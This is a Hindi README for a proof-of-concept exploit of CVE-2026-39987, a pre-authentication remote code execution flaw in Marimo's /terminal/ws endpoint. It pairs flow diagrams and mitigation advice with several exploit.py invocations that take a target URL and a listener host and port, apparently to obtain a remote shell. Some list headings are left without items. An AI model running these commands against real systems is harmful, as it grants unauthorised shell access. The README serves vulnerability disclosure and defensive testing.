
CVE-2026-39987 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Marimo के टर्मिनल WebSocket एंडपॉइंट में प्री-ऑथेंटिकेशन RCE है। यह बिना प्रमाणीकरण के कमांड निष्पादन प्रदर्शित करता है और कमजोर तथा पैच किए गए इंस्टेंस के लिए सत्यापन परीक्षण शामिल करता है।
| गुण | मान |
|---|
| CVE | CVE-2026-39987 |
| उत्पाद | Marimo |
| भेद्यता | प्री-ऑथेंटिकेशन रिमोट कोड निष्पादन |
| हमला वेक्टर | नेटवर्क |
| प्रमाणीकरण | आवश्यक नहीं |
| उपयोगकर्ता सहभागिता | आवश्यक नहीं |
| CWE | CWE-306 — महत्वपूर्ण कार्य के लिए प्रमाणीकरण का अभाव |
| गंभीरता | क्रिटिकल |
| स्थिर संस्करण | 0.23.0 |
CVE-2026-39987 Marimo, एक रिएक्टिव पायथन नोटबुक वातावरण, को प्रभावित करने वाली एक क्रिटिकल प्री-ऑथेंटिकेशन रिमोट कोड निष्पादन (RCE) भेद्यता है। यह भेद्यता टर्मिनल WebSocket एंडपॉइंट /terminal/ws में स्थित है।
कमजोर टर्मिनल एंडपॉइंट WebSocket कनेक्शन स्वीकार करने के बाद एक इंटरैक्टिव PTY बनाता है।
अवधारणात्मक रूप से, कमजोर अनुरोध प्रवाह इस प्रकार है:
रिमोट क्लाइंट
|
| WebSocket कनेक्शन
v
/terminal/ws
|
| प्रमाणीकरण सत्यापन का अभाव
v
WebSocket स्वीकृत
|
v
PTY निर्मित
|
v
इंटरैक्टिव शेल
महत्वपूर्ण सुरक्षा सीमा प्रमाणीकरण जांच का अभाव है।
मनमाना कमांड निष्पादन उजागर करने वाला एंडपॉइंट किसी अनप्रमाणित क्लाइंट को PTY निर्माण तर्क तक पहुंचने की अनुमति नहीं देनी चाहिए।
इस परियोजना का उद्देश्य नियंत्रित वातावरण में, Marimo के टर्मिनल WebSocket एंडपॉइंट को प्रभावित करने वाले प्रमाणीकरण प्रवर्तन के अभाव को प्रदर्शित करना है।
सुरक्षा टीमें इस परियोजना का उपयोग कर सकती हैं:
चेतावनी: PoC केवल उन सिस्टमों के विरुद्ध चलाएं जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।
पूर्ण भेद्यता श्रृंखला को इस प्रकार संक्षेपित किया जा सकता है:
1. हमलावर उजागर Marimo इंस्टेंस की खोज करता है
|
v
2. हमलावर /terminal/ws से कनेक्ट होता है
|
v
3. प्रमाणीकरण लागू नहीं किया जाता
|
v
4. WebSocket कनेक्शन स्वीकार किया जाता है
|
v
5. PTY टर्मिनल निर्मित होता है
|
v
6. हमलावर कमांड निष्पादन प्राप्त करता है
|
v
7. कमांड Marimo प्रक्रिया के रूप में निष्पादित होते हैं
महत्वपूर्ण सुरक्षा विफलता चरण 3 पर होती है।
Python 3.7+
pip
अधिकृत लक्ष्य तक नेटवर्क पहुंच
# मूल स्थापना
pip install websocket-client
# पूर्ण स्थापना
pip install websocket-client rich
python3 exploit.py --help
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>
python3 exploit.py \
-u http://127.0.0.1:8081 \
--lhost 127.0.0.1 \
--lport 4444
python3 exploit.py \
-u https://marimo.example.com \
--lhost 192.168.1.100 \
--lport 5555 \
--timeout 30 \
--retries 5
python3 exploit.py \
-u http://target:8081 \
--lhost 10.0.0.5 \
--lport 9999 \
--verbose \
--no-verify-ssl \
--retry-delay 1.5
| पैरामीटर | प्रकार | विवरण | डिफ़ॉल्ट |
|---|---|---|---|
-u, --url | string | लक्ष्य Marimo इंस्टेंस का आधार URL | आवश्यक |
--lhost | string | लिसनर IP पता | आवश्यक |
--lport | int | लिसनर पोर्ट (1-65535) | आवश्यक |
--timeout | int | लिसनर टाइमआउट सेकंड में | 15 |
--retries | int | WebSocket कनेक्शन पुनर्प्रयास | 3 |
--retry-delay | float | पुनर्प्रयासों के बीच देरी | 2.0 |
--no-verify-ssl | flag | SSL प्रमाणपत्र सत्यापन अक्षम करें | False |
-v, --verbose | flag | विस्तृत आउटपुट सक्षम करें | False |
-s, --silent | flag | आउटपुट दबाएं | False |
चरण 1: आरंभीकरण
↓ पैरामीटर सत्यापित करें
↓ लॉगिंग कॉन्फ़िगर करें
चरण 2: तैयारी
↓ लिसनर आरंभ करें
↓ WebSocket कनेक्शन स्थापित करें
चरण 3: सत्यापन
↓ टर्मिनल एंडपॉइंट का परीक्षण करें
↓ प्रमाणीकरण प्रवर्तन सत्यापित करें
↓ कनेक्शन व्यवहार रिकॉर्ड करें
चरण 4: प्रदर्शन
↓ अधिकृत परीक्षण सत्र स्थापित करें
↓ कमांड-निष्पादन संदर्भ सत्यापित करें
↓ सत्यापन साक्ष्य एकत्र करें
चरण 5: सफाई
↓ टर्मिनल स्थिति पुनर्स्थापित करें
↓ कनेक्शन बंद करें
↓ संसाधन मुक्त करें
python3 exploit.py \
-u http://vulnerable:8081 \
--lhost 10.0.0.1 \
--lport 4444
अपेक्षित परिणाम: कमजोर टर्मिनल एंडपॉइंट अनप्रमाणित कनेक्शन स्वीकार करता है।
python3 exploit.py \
-u http://patched:8081 \
--lhost 10.0.0.1 \
--lport 4444
अपेक्षित परिणाम: कनेक्शन प्रमाणीकरण नियंत्रणों द्वारा अस्वीकार या अन्यथा रोका जाता है।
python3 exploit.py \
-u http://firewalled:8081 \
--lhost 10.0.0.1 \
--lport 4444 \
--timeout 5
अपेक्षित परिणाम: टाइमआउट स्पष्ट रूप से रिपोर्ट किया जाता है।
गंभीरता: क्रिटिकल (CVSS 9.3)
जटिलता: निम्न
प्रमाणीकरण: आवश्यक नहीं
प्रभाव: रिमोट कोड निष्पादन
प्रोटोकॉल: WebSocket
एंडपॉइंट: /terminal/ws
स्थिर संस्करण: 0.23.0
स्रोत README इस मुद्दे को CVSS 9.3 क्रिटिकल के रूप में वर्गीकृत करता है और CWE-306, प्रोटोकॉल के रूप में WebSocket, और प्रभावित एंडपॉइंट के रूप में /terminal/ws की पहचान करता है।
शोषण के संभावित संकेतकों में निम्नलिखित के लिए अप्रत्याशित WebSocket कनेक्शन शामिल हैं:
/terminal/ws
रक्षकों को जांच करनी चाहिए:
Marimo को स्थिर रिलीज़ में अपग्रेड करें:
0.23.0 या बाद का संस्करण
अतिरिक्त रक्षात्मक अनुशंसाओं में शामिल हैं:
/terminal/ws गतिविधि के लिए लॉग की समीक्षा करें।CVE: CVE-2026-39987
CWE: CWE-306
गंभीरता: क्रिटिकल
प्रकार: प्री-ऑथेंटिकेशन RCE
प्रोटोकॉल: WebSocket
एंडपॉइंट: /terminal/ws
प्रमाणीकरण: आवश्यक नहीं
स्थिर: 0.23.0
केवल अधिकृत उपयोग
यह परियोजना विशेष रूप से निम्नलिखित के लिए प्रदान की गई है:
अनधिकृत उपयोग सख्त वर्जित है और यह लागू स्थानीय और अंतर्राष्ट्रीय कानूनों का उल्लंघन कर सकता है।
यह परियोजना सुरक्षा अनुसंधान, भेद्यता सत्यापन और शैक्षिक उद्देश्यों के लिए प्रदान की गई है।
PoC का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।
अनुरक्षक दुरुपयोग, अनधिकृत परीक्षण, क्षति, डेटा हानि, या इस परियोजना के उपयोग से उत्पन्न किसी भी परिणाम के लिए जिम्मेदार नहीं हैं।